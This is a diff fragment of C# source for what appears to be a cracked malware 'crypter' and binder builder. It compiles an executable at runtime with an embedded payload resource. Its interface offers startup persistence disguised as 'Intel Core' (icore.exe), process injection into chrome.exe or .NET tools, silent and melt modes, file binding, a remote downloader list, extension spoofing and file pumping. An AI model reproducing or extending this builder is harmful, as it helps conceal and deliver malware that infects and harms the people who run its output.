options.ReferencedAssemblies.Add("System.dll"); + options.ReferencedAssemblies.Add("System.Windows.Forms.dll"); + options.ReferencedAssemblies.Add("System.Management.dll"); + options.ReferencedAssemblies.Add("System.Drawing.dll"); + options.OutputAssembly = filename; + options.CompilerOptions = "/filealign:0x00000200 /unsafe /optimize+ /platform:X86 /debug- /target:winexe"; + options.GenerateExecutable = true; + options.WarningLevel = 0; + options.TreatWarningsAsErrors = false; + options.EmbeddedResources.Add(Application.StartupPath + @"\" + resname + ".resources"); + errorb = false; + CompilerResults results = new CSharpCodeProvider(providerOptions).CompileAssemblyFromSource(options, new string[] { source }); + if (results.Errors.Count > 0) + { + foreach (CompilerError error in results.Errors) + { + MessageBox.Show(error.ToString()); + } + errorb = true; + } + File.Delete(Application.StartupPath + @"\" + resname + ".resources"); + } + + private void csc_Click(object sender, EventArgs e) + { + this.vbc.Checked = false; + this.vbc.Refresh(); + this.custom.Checked = false; + this.custom.Refresh(); + this.cvtres.Checked = false; + this.cvtres.Refresh(); + this.itself.Checked = false; + this.itself.Refresh(); + inj = "csc"; + } + + private void custom_Click(object sender, EventArgs e) + { + this.vbc.Checked = false; + this.vbc.Refresh(); + this.csc.Checked = false; + this.csc.Refresh(); + this.cvtres.Checked = false; + this.cvtres.Refresh(); + this.itself.Checked = false; + this.itself.Refresh(); + } + + private void cvtres_Click(object sender, EventArgs e) + { + this.vbc.Checked = false; + this.vbc.Refresh(); + this.csc.Checked = false; + this.csc.Refresh(); + this.custom.Checked = false; + this.custom.Refresh(); + this.itself.Checked = false; + this.itself.Refresh(); + inj = "cvtres"; + } + + protected override void Dispose(bool disposing) + { + if (disposing && (this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private string encstring(string input) + { + return Convert.ToBase64String(Encoding.UTF8.GetBytes(input)); + } + + private void Form1_Load(object sender, EventArgs e) + { + } + + private void Form1_Load_1(object sender, EventArgs e) + { + } + + public void increase(float value) + { + this.cryptingBar.Value += value; + this.cryptingBar.Refresh(); + Thread.Sleep(100); + } + + private void InitializeComponent() + { + this.textBox4 = new System.Windows.Forms.TextBox(); + this.instaButton8 = new InstaButton(); + this.expDate = new InstaLabel(); + this.instaButton3 = new InstaButton(); + this.instaSeperator2 = new InstaSeperator(); + this.cryptingBar = new InstaProgressBar(); + this.instaButton1 = new InstaButton(); + this.timeRem = new InstaLabel(); + this.username = new InstaLabel(); + this.instaTabControl1 = new InstaTabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.instaLabel23 = new InstaLabel(); + this.instaLabel3 = new InstaLabel(); + this.boxStartup = new InstaCheckBox(); + this.instaLabel6 = new InstaLabel(); + this.instaSeperator3 = new InstaSeperator(); + this.instaCheckBox3 = new InstaCheckBox(); + this.boxPersistence = new InstaCheckBox(); + this.instaCheckBox1 = new InstaCheckBox(); + this.itself = new InstaCheckBox(); + this.cvtres = new InstaCheckBox(); + this.csc = new InstaCheckBox(); + this.custom = new InstaCheckBox(); + this.vbc = new InstaCheckBox(); + this.txtInj = new System.Windows.Forms.TextBox(); + this.txtSUPfile = new System.Windows.Forms.TextBox(); + this.txtSUPvalue = new System.Windows.Forms.TextBox(); + this.instaLabel5 = new InstaLabel(); + this.instaLabel4 = new InstaLabel(); + this.instaSeperator1 = new InstaSeperator(); + this.lblFile = new InstaLabel(); + this.instaButton2 = new InstaButton(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.boxBindOnce = new InstaCheckBox(); + this.binderClear = new InstaButton(); + this.binderRemove = new InstaButton(); + this.binderAdd = new InstaButton(); + this.listBind = new System.Windows.Forms.ListBox(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.instaButton4 = new InstaButton(); + this.instaButton5 = new InstaButton(); + this.instaButton6 = new InstaButton(); + this.txtdl = new System.Windows.Forms.TextBox(); + this.boxDLOnce = new InstaCheckBox(); + this.listDL = new System.Windows.Forms.ListBox(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.a3 = new InstaCheckBox(); + this.instaLabel10 = new InstaLabel(); + this.d4 = new InstaCheckBox(); + this.d3 = new InstaCheckBox(); + this.d2 = new InstaCheckBox(); + this.d1 = new InstaCheckBox(); + this.instaLabel9 = new InstaLabel(); + this.instaSeperator5 = new InstaSeperator(); + this.a2 = new InstaCheckBox(); + this.a4 = new InstaCheckBox(); + this.a5 = new InstaCheckBox(); + this.a1 = new InstaCheckBox(); + this.instaLabel7 = new InstaLabel(); + this.instaSeperator4 = new InstaSeperator(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.instaLabel11 = new InstaLabel(); + this.boolMsg = new InstaCheckBox(); + this.msgRunOnce = new InstaCheckBox(); + this.instaButton7 = new InstaButton(); + this.msgBody = new System.Windows.Forms.TextBox(); + this.instaLabel13 = new InstaLabel(); + this.msgTitle = new System.Windows.Forms.TextBox(); + this.instaLabel12 = new InstaLabel(); + this.instaSeperator6 = new InstaSeperator(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.instaLabel30 = new InstaLabel(); + this.aVersion = new System.Windows.Forms.TextBox(); + this.instaLabel29 = new InstaLabel(); + this.instaLabel28 = new InstaLabel(); + this.aDescription = new System.Windows.Forms.TextBox(); + this.instaLabel27 = new InstaLabel(); + this.instaLabel26 = new InstaLabel(); + this.aTitle = new System.Windows.Forms.TextBox(); + this.instaLabel25 = new InstaLabel(); + this.instaButton13 = new InstaButton(); + this.instaButton12 = new InstaButton(); + this.aCopyright = new System.Windows.Forms.TextBox(); + this.aProduct = new System.Windows.Forms.TextBox(); + this.aCompany = new System.Windows.Forms.TextBox(); + this.instaLabel24 = new InstaLabel(); + this.instaSeperator11 = new InstaSeperator(); + this.instaButton11 = new InstaButton(); + this.instaButton10 = new InstaButton(); + this.instaButton9 = new InstaButton(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.instaLabel15 = new InstaLabel(); + this.instaSeperator10 = new InstaSeperator(); + this.tabPage6 = new System.Windows.Forms.TabPage(); + this.instaLabel22 = new InstaLabel(); + this.instaLabel21 = new InstaLabel(); + this.instaLabel20 = new InstaLabel(); + this.numDelay = new System.Windows.Forms.NumericUpDown(); + this.instaLabel19 = new InstaLabel(); + this.instaSeperator9 = new InstaSeperator(); + this.instaLabel18 = new InstaLabel(); + this.numPump = new System.Windows.Forms.NumericUpDown(); + this.instaLabel17 = new InstaLabel(); + this.instaLabel16 = new InstaLabel(); + this.instaSeperator8 = new InstaSeperator(); + this.labelExtension = new InstaLabel(); + this.txtExtension = new System.Windows.Forms.TextBox(); + this.instaLabel14 = new InstaLabel(); + this.boxSpoof = new InstaCheckBox(); + this.instaSeperator7 = new InstaSeperator(); + this.instaTheme1 = new InstaTheme(); + this.instaTabControl1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.tabPage3.SuspendLayout(); + this.tabPage5.SuspendLayout(); + this.tabPage7.SuspendLayout(); + this.tabPage4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.tabPage6.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numDelay)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numPump)).BeginInit(); + this.SuspendLayout(); + // + // textBox4 + // + this.textBox4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Font = new System.Drawing.Font("Verdana", 7F); + this.textBox4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.textBox4.Location = new System.Drawing.Point(172, 35); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(272, 63); + this.textBox4.TabIndex = 25; + this.textBox4.Text = "Craked By Reborn Enjoy !!!\r\nNext time protect , obfu you code bro.\r\nI can help yo" + + "u :D\r\nSorry for you"; + // + // instaButton8 + // + this.instaButton8.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton8.Location = new System.Drawing.Point(10, 333); + this.instaButton8.Name = "instaButton8"; + this.instaButton8.Size = new System.Drawing.Size(152, 51); + this.instaButton8.TabIndex = 26; + this.instaButton8.Text = "Scanner"; + this.instaButton8.Click += new System.EventHandler(this.instaButton8_Click); + // + // expDate + // + this.expDate.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.expDate.Font = new System.Drawing.Font("Verdana", 7F); + this.expDate.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.expDate.Location = new System.Drawing.Point(12, 80); + this.expDate.Name = "expDate"; + this.expDate.Size = new System.Drawing.Size(146, 19); + this.expDate.TabIndex = 24; + this.expDate.Text = "Expiration Date: Never Ever."; + // + // instaButton3 + // + this.instaButton3.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton3.Location = new System.Drawing.Point(436, 2); + this.instaButton3.Name = "instaButton3"; + this.instaButton3.Size = new System.Drawing.Size(18, 16); + this.instaButton3.TabIndex = 22; + this.instaButton3.Text = "X"; + this.instaButton3.Click += new System.EventHandler(this.instaButton3_Click); + // + // instaSeperator2 + // + this.instaSeperator2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.instaSeperator2.IsVertical = true; + this.instaSeperator2.Location = new System.Drawing.Point(164, 35); + this.instaSeperator2.Name = "instaSeperator2"; + this.instaSeperator2.Size = new System.Drawing.Size(17, 63); + this.instaSeperator2.TabIndex = 6; + this.instaSeperator2.Text = "instaSeperator2"; + this.instaSeperator2.Thickness = 1F; + // + // cryptingBar + // + this.cryptingBar.Font = new System.Drawing.Font("Verdana", 7F); + this.cryptingBar.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.cryptingBar.Location = new System.Drawing.Point(166, 365); + this.cryptingBar.Name = "cryptingBar"; + this.cryptingBar.ShowPercentage = true; + this.cryptingBar.Size = new System.Drawing.Size(284, 19); + this.cryptingBar.TabIndex = 5; + this.cryptingBar.Text = "instaProgressBar1"; + this.cryptingBar.Value = 0F; + // + // instaButton1 + // + this.instaButton1.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton1.Location = new System.Drawing.Point(166, 333); + this.instaButton1.Name = "instaButton1"; + this.instaButton1.Size = new System.Drawing.Size(284, 25); + this.instaButton1.TabIndex = 4; + this.instaButton1.Text = "Encrypt"; + this.instaButton1.Click += new System.EventHandler(this.instaButton1_Click); + // + // timeRem + // + this.timeRem.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.timeRem.Font = new System.Drawing.Font("Verdana", 7F); + this.timeRem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.timeRem.Location = new System.Drawing.Point(12, 57); + this.timeRem.Name = "timeRem"; + this.timeRem.Size = new System.Drawing.Size(146, 19); + this.timeRem.TabIndex = 3; + this.timeRem.Text = "Time Remaining: ∞"; + // + // username + // + this.username.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.username.Font = new System.Drawing.Font("Verdana", 7F); + this.username.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.username.Location = new System.Drawing.Point(12, 35); + this.username.Name = "username"; + this.username.Size = new System.Drawing.Size(146, 19); + this.username.TabIndex = 2; + this.username.Text = "Username: Reborn"; + // + // instaTabControl1 + // + this.instaTabControl1.Alignment = System.Windows.Forms.TabAlignment.Left; + this.instaTabControl1.Controls.Add(this.tabPage1); + this.instaTabControl1.Controls.Add(this.tabPage2); + this.instaTabControl1.Controls.Add(this.tabPage3); + this.instaTabControl1.Controls.Add(this.tabPage5); + this.instaTabControl1.Controls.Add(this.tabPage7); + this.instaTabControl1.Controls.Add(this.tabPage4); + this.instaTabControl1.Controls.Add(this.tabPage6); + this.instaTabControl1.Font = new System.Drawing.Font("Verdana", 7F); + this.instaTabControl1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaTabControl1.ItemSize = new System.Drawing.Size(30, 152); + this.instaTabControl1.Location = new System.Drawing.Point(10, 104); + this.instaTabControl1.Multiline = true; + this.instaTabControl1.Name = "instaTabControl1"; + this.instaTabControl1.SelectedIndex = 0; + this.instaTabControl1.Size = new System.Drawing.Size(444, 223); + this.instaTabControl1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.instaTabControl1.TabIndex = 1; + // + // tabPage1 + // + this.tabPage1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(212)))), ((int)(((byte)(212)))), ((int)(((byte)(212))))); + this.tabPage1.Controls.Add(this.instaLabel23); + this.tabPage1.Controls.Add(this.instaLabel3); + this.tabPage1.Controls.Add(this.boxStartup); + this.tabPage1.Controls.Add(this.instaLabel6); + this.tabPage1.Controls.Add(this.instaSeperator3); + this.tabPage1.Controls.Add(this.instaCheckBox3); + this.tabPage1.Controls.Add(this.boxPersistence); + this.tabPage1.Controls.Add(this.instaCheckBox1); + this.tabPage1.Controls.Add(this.itself); + this.tabPage1.Controls.Add(this.cvtres); + this.tabPage1.Controls.Add(this.csc); + this.tabPage1.Controls.Add(this.custom); + this.tabPage1.Controls.Add(this.vbc); + this.tabPage1.Controls.Add(this.txtInj); + this.tabPage1.Controls.Add(this.txtSUPfile); + this.tabPage1.Controls.Add(this.txtSUPvalue); + this.tabPage1.Controls.Add(this.instaLabel5); + this.tabPage1.Controls.Add(this.instaLabel4); + this.tabPage1.Controls.Add(this.instaSeperator1); + this.tabPage1.Controls.Add(this.lblFile); + this.tabPage1.Controls.Add(this.instaButton2); + this.tabPage1.Location = new System.Drawing.Point(156, 4); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(284, 215); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Main"; + // + // instaLabel23 + // + this.instaLabel23.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel23.Font = new System.Drawing.Font("Verdana", 6F); + this.instaLabel23.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel23.Location = new System.Drawing.Point(56, 202); + this.instaLabel23.Name = "instaLabel23"; + this.instaLabel23.Size = new System.Drawing.Size(226, 11); + this.instaLabel23.TabIndex = 26; + this.instaLabel23.Text = "If \"itself\" is automatically set, please do not change it."; + // + // instaLabel3 + // + this.instaLabel3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel3.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel3.Location = new System.Drawing.Point(24, 41); + this.instaLabel3.Name = "instaLabel3"; + this.instaLabel3.Size = new System.Drawing.Size(134, 19); + this.instaLabel3.TabIndex = 8; + this.instaLabel3.Text = "Startup"; + // + // boxStartup + // + this.boxStartup.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.boxStartup.Checked = false; + this.boxStartup.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.boxStartup.Font = new System.Drawing.Font("Verdana", 7F); + this.boxStartup.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.boxStartup.Location = new System.Drawing.Point(9, 41); + this.boxStartup.Name = "boxStartup"; + this.boxStartup.Size = new System.Drawing.Size(18, 15); + this.boxStartup.TabIndex = 25; + // + // instaLabel6 + // + this.instaLabel6.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel6.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel6.Location = new System.Drawing.Point(6, 121); + this.instaLabel6.Name = "instaLabel6"; + this.instaLabel6.Size = new System.Drawing.Size(134, 19); + this.instaLabel6.TabIndex = 14; + this.instaLabel6.Text = "Inject"; + // + // instaSeperator3 + // + this.instaSeperator3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator3.IsVertical = false; + this.instaSeperator3.Location = new System.Drawing.Point(6, 117); + this.instaSeperator3.Name = "instaSeperator3"; + this.instaSeperator3.Size = new System.Drawing.Size(272, 23); + this.instaSeperator3.TabIndex = 13; + this.instaSeperator3.Text = "instaSeperator3"; + this.instaSeperator3.Thickness = 1F; + // + // instaCheckBox3 + // + this.instaCheckBox3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaCheckBox3.Checked = false; + this.instaCheckBox3.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.instaCheckBox3.Font = new System.Drawing.Font("Verdana", 7F); + this.instaCheckBox3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaCheckBox3.Location = new System.Drawing.Point(205, 99); + this.instaCheckBox3.Name = "instaCheckBox3"; + this.instaCheckBox3.Size = new System.Drawing.Size(78, 23); + this.instaCheckBox3.TabIndex = 24; + this.instaCheckBox3.Text = "Melt"; + // + // boxPersistence + // + this.boxPersistence.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.boxPersistence.Checked = false; + this.boxPersistence.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.boxPersistence.Font = new System.Drawing.Font("Verdana", 7F); + this.boxPersistence.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.boxPersistence.Location = new System.Drawing.Point(205, 80); + this.boxPersistence.Name = "boxPersistence"; + this.boxPersistence.Size = new System.Drawing.Size(78, 23); + this.boxPersistence.TabIndex = 23; + this.boxPersistence.Text = "Persistence"; + this.boxPersistence.Click += new System.EventHandler(this.boxPersistence_Click); + // + // instaCheckBox1 + // + this.instaCheckBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaCheckBox1.Checked = true; + this.instaCheckBox1.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.instaCheckBox1.Font = new System.Drawing.Font("Verdana", 7F); + this.instaCheckBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaCheckBox1.Location = new System.Drawing.Point(205, 61); + this.instaCheckBox1.Name = "instaCheckBox1"; + this.instaCheckBox1.Size = new System.Drawing.Size(65, 23); + this.instaCheckBox1.TabIndex = 22; + this.instaCheckBox1.Text = "Silent"; + // + // itself + // + this.itself.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.itself.Checked = false; + this.itself.CheckStyle = InstaCheckBox.CheckStyleType.Round; + this.itself.Font = new System.Drawing.Font("Verdana", 7F); + this.itself.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.itself.Location = new System.Drawing.Point(202, 179); + this.itself.Name = "itself"; + this.itself.Size = new System.Drawing.Size(48, 23); + this.itself.TabIndex = 21; + this.itself.Text = "itself"; + this.itself.Click += new System.EventHandler(this.itself_Click); + // + // cvtres + // + this.cvtres.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.cvtres.Checked = false; + this.cvtres.CheckStyle = InstaCheckBox.CheckStyleType.Round; + this.cvtres.Font = new System.Drawing.Font("Verdana", 7F); + this.cvtres.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.cvtres.Location = new System.Drawing.Point(122, 179); + this.cvtres.Name = "cvtres"; + this.cvtres.Size = new System.Drawing.Size(48, 23); + this.cvtres.TabIndex = 20; + this.cvtres.Text = "cvtres"; + this.cvtres.Click += new System.EventHandler(this.cvtres_Click); + // + // csc + // + this.csc.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.csc.Checked = false; + this.csc.CheckStyle = InstaCheckBox.CheckStyleType.Round; + this.csc.Font = new System.Drawing.Font("Verdana", 7F); + this.csc.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.csc.Location = new System.Drawing.Point(24, 179); + this.csc.Name = "csc"; + this.csc.Size = new System.Drawing.Size(48, 23); + this.csc.TabIndex = 19; + this.csc.Text = "csc"; + this.csc.Click += new System.EventHandler(this.csc_Click); + // + // custom + // + this.custom.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.custom.Checked = true; + this.custom.CheckStyle = InstaCheckBox.CheckStyleType.Round; + this.custom.Font = new System.Drawing.Font("Verdana", 7F); + this.custom.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.custom.Location = new System.Drawing.Point(24, 147); + this.custom.Name = "custom"; + this.custom.Size = new System.Drawing.Size(62, 23); + this.custom.TabIndex = 18; + this.custom.Text = "Custom"; + this.custom.Click += new System.EventHandler(this.custom_Click); + // + // vbc + // + this.vbc.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.vbc.Checked = false; + this.vbc.CheckStyle = InstaCheckBox.CheckStyleType.Round; + this.vbc.Font = new System.Drawing.Font("Verdana", 7F); + this.vbc.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.vbc.Location = new System.Drawing.Point(202, 147); + this.vbc.Name = "vbc"; + this.vbc.Size = new System.Drawing.Size(48, 23); + this.vbc.TabIndex = 17; + this.vbc.Text = "vbc"; + this.vbc.Click += new System.EventHandler(this.vbc_Click); + // + // txtInj + // + this.txtInj.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.txtInj.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txtInj.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.txtInj.Location = new System.Drawing.Point(92, 146); + this.txtInj.Name = "txtInj"; + this.txtInj.Size = new System.Drawing.Size(100, 19); + this.txtInj.TabIndex = 16; + this.txtInj.Text = "chrome.exe"; + // + // txtSUPfile + // + this.txtSUPfile.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.txtSUPfile.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txtSUPfile.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.txtSUPfile.Location = new System.Drawing.Point(92, 91); + this.txtSUPfile.Name = "txtSUPfile"; + this.txtSUPfile.Size = new System.Drawing.Size(100, 19); + this.txtSUPfile.TabIndex = 12; + this.txtSUPfile.Text = "icore.exe"; + // + // txtSUPvalue + // + this.txtSUPvalue.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.txtSUPvalue.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txtSUPvalue.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.txtSUPvalue.Location = new System.Drawing.Point(92, 66); + this.txtSUPvalue.Name = "txtSUPvalue"; + this.txtSUPvalue.Size = new System.Drawing.Size(100, 19); + this.txtSUPvalue.TabIndex = 11; + this.txtSUPvalue.Text = "Intel Core"; + // + // instaLabel5 + // + this.instaLabel5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel5.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel5.Location = new System.Drawing.Point(29, 92); + this.instaLabel5.Name = "instaLabel5"; + this.instaLabel5.Size = new System.Drawing.Size(48, 19); + this.instaLabel5.TabIndex = 10; + this.instaLabel5.Text = "File"; + // + // instaLabel4 + // + this.instaLabel4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel4.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel4.Location = new System.Drawing.Point(29, 69); + this.instaLabel4.Name = "instaLabel4"; + this.instaLabel4.Size = new System.Drawing.Size(48, 19); + this.instaLabel4.TabIndex = 9; + this.instaLabel4.Text = "Value"; + // + // instaSeperator1 + // + this.instaSeperator1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator1.IsVertical = false; + this.instaSeperator1.Location = new System.Drawing.Point(6, 37); + this.instaSeperator1.Name = "instaSeperator1"; + this.instaSeperator1.Size = new System.Drawing.Size(272, 23); + this.instaSeperator1.TabIndex = 7; + this.instaSeperator1.Text = "instaSeperator1"; + this.instaSeperator1.Thickness = 1F; + // + // lblFile + // + this.lblFile.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.lblFile.Font = new System.Drawing.Font("Verdana", 7F); + this.lblFile.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.lblFile.Location = new System.Drawing.Point(6, 9); + this.lblFile.Name = "lblFile"; + this.lblFile.Size = new System.Drawing.Size(134, 19); + this.lblFile.TabIndex = 6; + // + // instaButton2 + // + this.instaButton2.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton2.Location = new System.Drawing.Point(178, 6); + this.instaButton2.Name = "instaButton2"; + this.instaButton2.Size = new System.Drawing.Size(100, 25); + this.instaButton2.TabIndex = 6; + this.instaButton2.Text = "Browse"; + this.instaButton2.Click += new System.EventHandler(this.instaButton2_Click); + // + // tabPage2 + // + this.tabPage2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(212)))), ((int)(((byte)(212)))), ((int)(((byte)(212))))); + this.tabPage2.Controls.Add(this.boxBindOnce); + this.tabPage2.Controls.Add(this.binderClear); + this.tabPage2.Controls.Add(this.binderRemove); + this.tabPage2.Controls.Add(this.binderAdd); + this.tabPage2.Controls.Add(this.listBind); + this.tabPage2.Location = new System.Drawing.Point(156, 4); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(284, 215); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = "Binder"; + // + // boxBindOnce + // + this.boxBindOnce.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.boxBindOnce.Checked = false; + this.boxBindOnce.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.boxBindOnce.Font = new System.Drawing.Font("Verdana", 7F); + this.boxBindOnce.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.boxBindOnce.Location = new System.Drawing.Point(198, 189); + this.boxBindOnce.Name = "boxBindOnce"; + this.boxBindOnce.Size = new System.Drawing.Size(78, 21); + 